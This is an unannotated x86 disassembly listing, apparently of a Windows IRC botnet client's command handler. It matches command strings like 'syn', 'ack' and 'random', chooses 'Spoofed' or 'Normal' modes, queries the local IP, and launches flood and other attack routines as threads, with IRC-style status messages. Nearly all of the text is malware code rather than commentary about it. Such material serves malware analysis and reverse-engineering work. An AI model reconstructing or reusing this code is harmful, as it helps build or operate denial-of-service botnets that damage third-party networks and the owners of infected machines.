loc_4117C8: ; CODE XREF: sub_40EC43+29C4j
; sub_40EC43+29DBj
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41751F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406950
jmp loc_414CDB
; ---------------------------------------------------------------------------
loc_4117F6: ; CODE XREF: sub_40EC43+27E8j
; sub_40EC43+27FFj
mov esi, 80h
push edi
lea eax, [ebp+var_BF0]
push esi
push eax
call sub_41752A
lea eax, [ebp+var_BF0]
push eax
push offset aSyn ; "syn"
call sub_4173D0
add esp, 14h
test eax, eax
jz short loc_411859
lea eax, [ebp+var_BF0]
push eax
push offset aAck ; "ack"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_411859
lea eax, [ebp+var_BF0]
push eax
push offset aRandom ; "random"
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_411859
push offset dword_43677C
jmp loc_411980
; ---------------------------------------------------------------------------
loc_411859: ; CODE XREF: sub_40EC43+2BDCj
; sub_40EC43+2BF3j ...
push [ebp+arg_10]
call sub_41751F
cmp eax, ebx
pop ecx
mov [ebp+var_AE8], eax
jle loc_41197B
push edi
lea eax, [ebp+var_BF0]
push esi
push eax
call sub_41752A
push [ebp+arg_18]
lea eax, [ebp+var_C70]
push esi
push eax
call sub_41752A
push [ebp+arg_0]
call sub_41751F
mov [ebp+var_AEC], eax
xor eax, eax
cmp [ebp+var_94E], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_AE4], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C74], eax
lea eax, [ebp+var_B70]
push esi
push eax
call sub_41752A
mov eax, [ebp+var_4]
add esp, 28h
cmp [ebp+var_AE4], ebx
mov [ebp+var_AE0], eax
mov eax, [ebp+var_8]
mov [ebp+var_ADC], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_4118F0
mov eax, offset aNormal ; "Normal"
loc_4118F0: ; CODE XREF: sub_40EC43+2CA6j
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_436728
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
push ebx
lea eax, [ebp+var_2EC]
push 0Ch
push eax
call sub_416A7A
add esp, 2Ch
mov [ebp+var_AF0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C74]
push ebx
push eax
push offset sub_401D6D
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_AF0]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_411971
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_4366E0
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_411969: ; CODE XREF: sub_40EC43+2D34j
push 32h
call dword_423064 ; Sleep
loc_411971: ; CODE XREF: sub_40EC43+2D13j
cmp [ebp+var_AD8], ebx
jz short loc_411969
jmp short loc_41198E
; ---------------------------------------------------------------------------
loc_41197B: ; CODE XREF: sub_40EC43+2C27j
push offset dword_436698
loc_411980: ; CODE XREF: sub_40EC43+1CBAj
; sub_40EC43+1DC4j ...
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_41198E: ; CODE XREF: sub_40EC43+1557j
; sub_40EC43+1D8Cj ...
cmp [ebp+var_8], ebx
jnz loc_40F594
push ebx
push [ebp+var_4]
loc_41199B: ; CODE XREF: sub_40EC43+3905j
lea eax, [ebp+var_2EC]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
loc_4119AB: ; CODE XREF: sub_40EC43+561Bj
call sub_40D476
add esp, 14h
jmp loc_40F594
; ---------------------------------------------------------------------------
loc_4119B8: ; CODE XREF: sub_40EC43+27A3j
; sub_40EC43+27BAj ...
cmp dword_43EC10, ebx
mov esi, [ebp+arg_4]
jnz loc_411AC3
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_5A4], eax
mov eax, [ebp+var_4]
mov [ebp+var_5A8], eax
lea eax, [ebp+var_63C]
push edi
push eax
call sub_418910
push [ebp+arg_18]
call sub_41751F
push [ebp+arg_0]
mov [ebp+var_5BC], eax
call sub_41751F
push [ebp+arg_10]
mov [ebp+var_5B8], eax
call sub_41751F
push 7Fh
mov [ebp+var_5B4], eax
push [ebp+var_8C]
lea eax, [ebp+var_6BC]
push eax
call sub_418910
push [ebp+var_5B4]
lea eax, [ebp+var_63C]
mov [ebp+var_6C0], esi
push [ebp+var_5B8]
push eax
lea eax, [ebp+var_2EC]
push [ebp+var_5BC]
push offset unk_436640
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 0Eh
push eax
call sub_416A7A
add esp, 48h
mov [ebp+var_5AC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6C0]
push ebx
push eax
push offset sub_40ADB1
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_5AC]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_411AB6
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_4365F8
jmp loc_41263D
; ---------------------------------------------------------------------------
loc_411AAE: ; CODE XREF: sub_40EC43+2E79j
push 32h
call dword_423064 ; Sleep
loc_411AB6: ; CODE XREF: sub_40EC43+2E58j
cmp [ebp+var_5A0], ebx
jz short loc_411AAE
jmp loc_41264C
; ---------------------------------------------------------------------------
loc_411AC3: ; CODE XREF: sub_40EC43+2D7Ej
push 1FFh
lea eax, [ebp+var_2EC]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_418910
jmp loc_412649
; ---------------------------------------------------------------------------
loc_411ADE: ; CODE XREF: sub_40EC43+275Ej
; sub_40EC43+2775j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_5A4], eax
mov eax, [ebp+var_4]
mov [ebp+var_5A8], eax
lea eax, [ebp+var_63C]
push edi
push eax
call sub_418910
push [ebp+arg_18]
call sub_41751F
push [ebp+arg_0]
mov [ebp+var_5BC], eax
call sub_41751F
push [ebp+arg_10]
mov [ebp+var_5B8], eax
call sub_41751F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_5B4], eax
jz short loc_411B43
push esi
call sub_41751F
pop ecx
mov [ebp+var_5B0], eax
jmp short loc_411B49
; ---------------------------------------------------------------------------
loc_411B43: ; CODE XREF: sub_40EC43+2EEFj
mov [ebp+var_5B0], ebx
loc_411B49: ; CODE XREF: sub_40EC43+2EFEj
push 7Fh
lea eax, [ebp+var_6BC]
push [ebp+var_8C]
push eax
call sub_418910
push [ebp+var_5B4]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_63C]
mov [ebp+var_6C0], esi
push [ebp+var_5B8]
push eax
lea eax, [ebp+var_2EC]
push [ebp+var_5BC]
push offset dword_436588
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 0Fh
push eax
call sub_416A7A
add esp, 30h
mov [ebp+var_5AC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6C0]
push ebx
push eax
push offset sub_40AF3D
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_5AC]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_411BF0
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_436540
jmp loc_41263D
; ---------------------------------------------------------------------------
loc_411BE8: ; CODE XREF: sub_40EC43+2FB3j
push 32h
call dword_423064 ; Sleep
loc_411BF0: ; CODE XREF: sub_40EC43+2F92j
cmp [ebp+var_5A0], ebx
jz short loc_411BE8
jmp loc_41264C
; ---------------------------------------------------------------------------
loc_411BFD: ; CODE XREF: sub_40EC43+2730j
; sub_40EC43+2747j
push 8
call sub_416CBC
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41751F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 258h
jle short loc_411C4D
push [ebp+arg_8]
lea eax, [ebp+var_2EC]
push offset unk_4364F0
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
jmp loc_413062
; ---------------------------------------------------------------------------
loc_411C4D: ; CODE XREF: sub_40EC43+2FD6j
push edi
call sub_41751F
push [ebp+arg_18]
mov [ebp+var_488], eax
call sub_41751F
push [ebp+arg_0]
mov [ebp+var_470], eax
call sub_41751F
add esp, 0Ch
cmp eax, 2
mov [ebp+var_484], eax
jnb short loc_411C86
push 2
pop eax
mov [ebp+var_484], eax
loc_411C86: ; CODE XREF: sub_40EC43+3038j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_411C93
mov [ebp+var_484], ecx
loc_411C93: ; CODE XREF: sub_40EC43+3048j
push [ebp+arg_10]
call sub_41751F
mov [ebp+var_480], eax
mov eax, 320h
cmp [ebp+var_480], eax
pop ecx
jbe short loc_411CB5
mov [ebp+var_480], eax
loc_411CB5: ; CODE XREF: sub_40EC43+306Aj
or [ebp+var_46C], 0FFFFFFFFh
cmp dword_429D60, ebx
mov [ebp+arg_10], ebx
jz short loc_411D0B
mov [ebp+arg_24], offset dword_429D60
loc_411CCE: ; CODE XREF: sub_40EC43+30AAj
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jz short loc_411CF1
add [ebp+arg_24], 3Ch
inc [ebp+arg_10]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_411CCE
jmp short loc_411D0B
; ---------------------------------------------------------------------------
loc_411CF1: ; CODE XREF: sub_40EC43+309Cj
mov eax, [ebp+arg_10]
mov ecx, eax
mov [ebp+var_46C], eax
imul ecx, 3Ch
mov ecx, dword_429D60[ecx]
mov [ebp+var_488], ecx
loc_411D0B: ; CODE XREF: sub_40EC43+3082j
; sub_40EC43+30ACj
cmp [ebp+var_488], ebx
jz loc_413DBC
mov edi, [ebp+esi+var_80]
cmp edi, ebx
mov [ebp+arg_18], edi
jz short loc_411D52
cmp byte ptr [edi], 23h
jz short loc_411D52
push edi
lea eax, [ebp+var_59C]
push 10h
push eax
call sub_41752A
push 78h
push edi
call sub_418C50
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_45C], eax
jmp loc_411E26
; ---------------------------------------------------------------------------
loc_411D52: ; CODE XREF: sub_40EC43+30DDj
; sub_40EC43+30E2j
cmp [ebp+var_95F], bl
jnz short loc_411D74
cmp [ebp+var_95E], bl
jnz short loc_411D74
cmp [ebp+var_94E], bl
jnz short loc_411D74
push offset unk_4364A8
jmp loc_411980
; ---------------------------------------------------------------------------
loc_411D74: ; CODE XREF: sub_40EC43+3115j
; sub_40EC43+311Dj ...
push 10h
lea eax, [ebp+arg_0]
pop edi
push eax
lea eax, [ebp+var_E4]
push eax
mov [ebp+arg_0], edi
push [ebp+arg_4]
call dword_43EAC8 ; getsockname
mov al, [ebp+var_95F]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_E0], eax
push [ebp+var_E0]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_59C]
push eax
call sub_418910
add esp, 0Ch
cmp [ebp+var_94E], bl
jz short loc_411E20
xor eax, eax
cmp [ebp+var_95F], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_59C]
push eax
call sub_418C10
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_411E14
loc_411DF2: ; CODE XREF: sub_40EC43+31CFj
cmp eax, ebx
jz short loc_411E14
mov byte ptr [eax], 78h
lea eax, [ebp+var_59C]
push 30h
push eax
call sub_418C10
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_411DF2
loc_411E14: ; CODE XREF: sub_40EC43+31ADj
; sub_40EC43+31B1j
mov [ebp+var_45C], 1
jmp short loc_411E26
; ---------------------------------------------------------------------------
loc_411E20: ; CODE XREF: sub_40EC43+3187j
mov [ebp+var_45C], ebx
loc_411E26: ; CODE XREF: sub_40EC43+310Aj
; sub_40EC43+31DBj
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_48C], eax
mov eax, [ebp+var_4]
mov [ebp+var_464], eax
mov eax, [ebp+var_8]
mov [ebp+var_460], eax
mov edi, 80h
lea eax, [ebp+var_58C]
push edi
push eax
call sub_41752A
mov esi, [ebp+esi+var_7C]
add esp, 0Ch
cmp esi, ebx
jz short loc_411E77
loc_411E64: ; CODE XREF: sub_40EC43+3257j
push esi
loc_411E65: ; CODE XREF: sub_40EC43+3241j
lea eax, [ebp+var_50C]
push edi
push eax
call sub_41752A
add esp, 0Ch
jmp short loc_411EA2
; ---------------------------------------------------------------------------
loc_411E77: ; CODE XREF: sub_40EC43+321Fj
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_411E86
cmp byte ptr [eax], 23h
jnz short loc_411E86
push eax
jmp short loc_411E65
; ---------------------------------------------------------------------------
loc_411E86: ; CODE XREF: sub_40EC43+3239j
; sub_40EC43+323Ej
mov esi, offset a2 ; "#2"
push offset byte_43BCE8
push esi
call sub_4173D0
pop ecx
test eax, eax
pop ecx
jnz short loc_411E64
mov [ebp+var_50C], bl
loc_411EA2: ; CODE XREF: sub_40EC43+3232j
cmp [ebp+var_45C], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_411EB4
mov eax, offset aSequential ; "Sequential"
loc_411EB4: ; CODE XREF: sub_40EC43+326Aj
push [ebp+var_470]
lea ecx, [ebp+var_59C]
push [ebp+var_480]
push [ebp+var_484]
push [ebp+var_488]
push ecx
push eax
lea eax, [ebp+var_2EC]
push offset unk_436420
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 8
push eax
call sub_416A7A
add esp, 2Ch
mov [ebp+var_47C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_59C]
push ebx
push eax
push offset sub_4077CC
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_47C]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_411F45
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_4363D8
jmp loc_410B68
; ---------------------------------------------------------------------------
loc_411F3D: ; CODE XREF: sub_40EC43+3308j
push 32h
call dword_423064 ; Sleep
loc_411F45: ; CODE XREF: sub_40EC43+32E7j
cmp [ebp+var_458], ebx
jz short loc_411F3D
jmp loc_41198E
; ---------------------------------------------------------------------------
loc_411F52: ; CODE XREF: sub_40EC43+26F0j
; sub_40EC43+2707j
push edi
call sub_41751F
imul eax, 234h
pop ecx
cmp byte_444580[eax], bl
jz loc_414CDE
cmp [ebp+var_C], ebx
jz loc_414CDE
push [ebp+arg_18]
call sub_4177B0
push edi
mov esi, eax
call sub_4177B0
push [ebp+arg_8]
add esi, eax
call sub_4177B0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417580
mov esi, eax
lea eax, [ebp+var_2EC]
push esi
push offset dword_4363CC
push eax
call sub_416FB6
add esp, 20h
cmp esi, ebx
jz loc_414CDE
push edi
call sub_41751F
test eax, eax
pop ecx
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D476
push edi
call sub_41751F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_444368[eax], 73h
jnz loc_414CDE
push esi
push edi
call sub_41751F
imul eax, 234h
pop ecx
add eax, offset byte_444580
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] * %s %s"
loc_41203A: ; CODE XREF: sub_40EC43+34F1j
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D476
jmp loc_414447
; ---------------------------------------------------------------------------
loc_412064: ; CODE XREF: sub_40EC43+26C2j
; sub_40EC43+26D9j
push edi
call sub_41751F
imul eax, 234h
pop ecx
cmp byte_444580[eax], bl
jz loc_414CDE
cmp [ebp+var_C], ebx
jz loc_414CDE
push [ebp+arg_18]
call sub_4177B0
push edi
mov esi, eax
call sub_4177B0
push [ebp+arg_8]
add esi, eax
call sub_4177B0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_417580
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_414CDE
push edi
call sub_41751F
test eax, eax
pop ecx
jle loc_414CDE
push edi
call sub_41751F
cmp eax, 1F4h
pop ecx
jge loc_414CDE
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41751F
imul eax, 234h
pop ecx
push dword_444574[eax]
call sub_40D476
push edi
call sub_41751F
imul eax, 234h
add esp, 18h
cmp byte ptr dword_444368[eax], 73h
jnz loc_414CDE
push esi
push edi
call sub_41751F
imul eax, 234h
pop ecx
add eax, offset byte_444580
push eax
push [ebp+arg_18]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_41203A
; ---------------------------------------------------------------------------
loc_412139: ; CODE XREF: sub_40EC43+2694j
; sub_40EC43+26ABj
push edi
call dword_43EB64 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_39C], eax
call sub_41751F
push [ebp+arg_0]
mov [ebp+var_3A8], eax
call sub_41751F
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_3A4], eax
lea eax, [ebp+var_428]
mov [ebp+var_42C], esi
push eax
call sub_418910
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_394], edi
push [ebp+var_3A4]
mov [ebp+var_390], eax
push [ebp+var_3A8]
push [ebp+var_39C]
call dword_43EBB0 ; inet_ntoa
push eax
lea eax, [ebp+var_2EC]
push offset unk_436360
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 8
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_3A0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_42C]
push ebx
push eax
push offset sub_415B71
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_3A0]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41221E
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_436310
jmp loc_414236
; ---------------------------------------------------------------------------
loc_412216: ; CODE XREF: sub_40EC43+35E1j
push 32h
call dword_423064 ; Sleep
loc_41221E: ; CODE XREF: sub_40EC43+35C0j
cmp [ebp+var_38C], ebx
jz short loc_412216
jmp loc_414245
; ---------------------------------------------------------------------------
loc_41222B: ; CODE XREF: sub_40EC43+2666j
; sub_40EC43+267Dj
push edi
call sub_41751F
push 7Fh
mov [ebp+var_111C], eax
push [ebp+arg_18]
lea eax, [ebp+var_1220]
push eax
call sub_418910
push [ebp+arg_0]
call sub_41751F
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_1120], eax
lea eax, [ebp+var_11A0]
push 80h
push eax
mov [ebp+var_1228], esi
call sub_41752A
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_110C], eax
push [ebp+var_1120]
lea eax, [ebp+var_1220]
mov [ebp+var_1110], edi
push eax
push [ebp+var_111C]
push esi
call sub_40AD08
pop ecx
push eax
lea eax, [ebp+var_2EC]
push offset unk_4362C0
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 10h
push eax
call sub_416A7A
add esp, 24h
mov [ebp+var_1118], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1228]
push ebx
push eax
push offset sub_407A23
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_1118]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_412317
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_436268
jmp loc_414236
; ---------------------------------------------------------------------------
loc_41230F: ; CODE XREF: sub_40EC43+36DAj
push 32h
call dword_423064 ; Sleep
loc_412317: ; CODE XREF: sub_40EC43+36B9j
cmp [ebp+var_1108], ebx
jz short loc_41230F
jmp loc_414245
; ---------------------------------------------------------------------------
loc_412324: ; CODE XREF: sub_40EC43+2638j
; sub_40EC43+264Fj
push 0FFh
lea eax, [ebp+var_F74]
push edi
push eax
call sub_418910
push 0FFh
lea eax, [ebp+var_E74]
push [ebp+arg_18]
push eax
call sub_418910
push [ebp+arg_0]
mov [ebp+var_D70], ebx
call sub_41751F
mov [ebp+var_D6C], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_412380
push 10h
push ebx
push eax
call sub_41873B
add esp, 0Ch
mov [ebp+var_D64], eax
jmp short loc_412386
; ---------------------------------------------------------------------------
loc_412380: ; CODE XREF: sub_40EC43+3727j
mov [ebp+var_D64], ebx
loc_412386: ; CODE XREF: sub_40EC43+373Bj
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_41239D
push esi
call sub_41751F
pop ecx
mov [ebp+var_D68], eax
jmp short loc_4123A3
; ---------------------------------------------------------------------------
loc_41239D: ; CODE XREF: sub_40EC43+3749j
mov [ebp+var_D68], ebx
loc_4123A3: ; CODE XREF: sub_40EC43+3758j
movzx eax, [ebp+var_95B]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_D60], eax
lea eax, [ebp+var_FF4]
mov [ebp+var_FF8], esi
push eax
call sub_418910
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_D58], eax
mov eax, [ebp+var_8]
mov [ebp+var_D5C], eax
push edi
lea eax, [ebp+var_2EC]
push offset unk_436228
push eax
call sub_416FB6
push esi
lea eax, [ebp+var_2EC]
push 16h
push eax
call sub_416A7A
add esp, 28h
mov [ebp+var_D74], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF8]
push ebx
push eax
push offset sub_40C90D
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_D74]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_412454
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_4361D8
jmp loc_41263D
; ---------------------------------------------------------------------------
loc_41244C: ; CODE XREF: sub_40EC43+3817j
push 32h
call dword_423064 ; Sleep
loc_412454: ; CODE XREF: sub_40EC43+37F6j
cmp [ebp+var_D54], ebx
jz short loc_41244C
jmp loc_41264C
; ---------------------------------------------------------------------------
loc_412461: ; CODE XREF: sub_40EC43+260Aj
; sub_40EC43+2621j
push 7Fh
lea eax, [ebp+var_1B88]
pop esi
push esi
push edi
push eax
call sub_418910
push esi
lea eax, [ebp+var_1B08]
push [ebp+arg_18]
push eax
call sub_418910
push esi
lea eax, [ebp+var_1A88]
push [ebp+arg_0]
push eax
call sub_418910
push esi
lea eax, [ebp+var_1A08]
push [ebp+var_8C]
push eax
call sub_418910
mov eax, [ebp+var_8]
push [ebp+arg_0]
mov esi, [ebp+var_4]
mov [ebp+var_1980], eax
mov eax, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_1B8C], eax
lea eax, [ebp+var_2EC]
push edi
push offset dword_436198
push eax
mov [ebp+var_1984], esi
call sub_416FB6
add esp, 44h
lea eax, [ebp+var_2EC]
push ebx
push 0Bh
push eax
call sub_416A7A
add esp, 0Ch
mov [ebp+var_1988], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B8C]
push ebx
push eax
push offset sub_4019C8
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_1988]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_412555
call dword_42308C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2EC]
push offset dword_436150
push eax
call sub_416FB6
add esp, 0Ch
loc_41253D: ; CODE XREF: sub_40EC43+391Aj
cmp [ebp+var_8], ebx
jnz loc_40F594
push ebx
push esi
jmp loc_41199B
; ---------------------------------------------------------------------------
loc_41254D: ; CODE XREF: sub_40EC43+3918j
push 32h
call dword_423064 ; Sleep
loc_412555: ; CODE XREF: sub_40EC43+38DDj
cmp [ebp+var_197C], ebx
jz short loc_41254D
jmp short loc_41253D
; ---------------------------------------------------------------------------
loc_41255F: ; CODE XREF: sub_40EC43+25C5j
; sub_40EC43+25DCj ...
push 7Fh
lea eax, [ebp+var_1E18]
pop esi
push esi
push edi
push eax
call sub_418910
push esi
lea eax, [ebp+var_1D98]
push [ebp+arg_18]
push eax
call sub_418910
push esi
lea eax, [ebp+var_1D18]
push [ebp+arg_0]
push eax
call sub_418910
push esi
lea eax, [ebp+var_1C98]
push [ebp+var_8C]
push eax
call sub_418910
push 20h
lea eax, [ebp+var_1C18]
push [ebp+arg_8]
push eax
call sub_418910
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_1B98], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_1B94], eax
lea eax, [ebp+var_2EC]
push edi
push offset unk_436110
push eax
mov [ebp+var_1E20], esi
call sub_416FB6
add esp, 50h
lea eax, [ebp+var_2EC]
push ebx
push 0Ah
push eax
call sub_416A7A
add esp, 0Ch
mov [ebp+var_1E1C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1E20]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_1E1C]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_412666
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_4360C8
loc_41263D: ; CODE XREF: sub_40EC43+2E66j
; sub_40EC43+2FA0j ...
lea eax, [ebp+var_2EC]
push eax
call sub_416FB6
loc_412649: ; CODE XREF: sub_40EC43+2E96j
add esp, 0Ch
loc_41264C: ; CODE XREF: sub_40EC43+2E7Bj
; sub_40EC43+2FB5j ...
cmp [ebp+var_8], ebx
jnz loc_40F594
push ebx
push [ebp+var_4]
jmp loc_414250
; ---------------------------------------------------------------------------
loc_41265E: ; CODE XREF: sub_40EC43+3A29j
push 32h
call dword_423064 ; Sleep
loc_412666: ; CODE XREF: sub_40EC43+39ECj
cmp [ebp+var_1B90], ebx
jz short loc_41265E
jmp short loc_41264C
; ---------------------------------------------------------------------------
loc_412670: ; CODE XREF: sub_40EC43+2597j
; sub_40EC43+25AEj
push 7Fh
lea eax, [ebp+var_1388]
push edi
push eax
call sub_418910
push [ebp+arg_18]
call sub_41751F
push 3Fh
mov [ebp+var_1238], eax
push [ebp+arg_0]
lea eax, [ebp+var_1308]
push eax
call sub_418910
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_4126BE
push 3Fh
lea eax, [ebp+var_12C8]
push esi
push eax
call sub_418910
add esp, 0Ch
loc_4126BE: ; CODE XREF: sub_40EC43+3A67j
lea eax, [ebp+var_1308]
mov [ebp+var_1234], 1
push eax
lea eax, [ebp+var_1388]
push [ebp+var_1238]
push eax
lea eax, [ebp+var_2EC]
push offset unk_436088
push eax
call sub_416FB6
push ebx
lea eax, [ebp+var_2EC]
push 18h
push eax
call sub_416A7A
add esp, 20h
mov [ebp+var_1230], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_138C]
push ebx
push eax
push offset sub_40E961
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_1230]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41274D
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_436040
jmp loc_4115AF
; ---------------------------------------------------------------------------
loc_412745: ; CODE XREF: sub_40EC43+3B10j
push 32h
call dword_423064 ; Sleep
loc_41274D: ; CODE XREF: sub_40EC43+3AEFj
cmp [ebp+var_122C], ebx
jz short loc_412745
jmp loc_4115BE
; ---------------------------------------------------------------------------
loc_41275A: ; CODE XREF: sub_40EC43+2557j
; sub_40EC43+256Ej
push [ebp+arg_18]
call sub_41751F
cmp eax, ebx
pop ecx
mov [ebp+var_6D4], eax
jle loc_41284A
mov esi, 80h
push edi
lea eax, [ebp+var_85C]
push esi
push eax
call sub_41752A
xor eax, eax
cmp [ebp+var_94E], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_6D0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_75C]
push esi
push eax
call sub_41752A
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_6CC], eax
mov eax, [ebp+var_8]
mov [ebp+var_6C8], eax
push edi
push offset unk_436000
lea eax, [ebp+var_2EC]
push 200h
push eax
call sub_41752A
push ebx
lea eax, [ebp+var_2EC]
push 0Dh
push eax
call sub_416A7A
add esp, 38h
mov [ebp+var_6DC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_401444
push ebx
push ebx
call dword_4230A0 ; CreateThread
mov ecx, [ebp+var_6DC]
imul ecx, 234h
cmp eax, ebx
mov dword_44457C[ecx], eax
jnz short loc_41283D
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset unk_435FB8
jmp loc_410B68
; ---------------------------------------------------------------------------
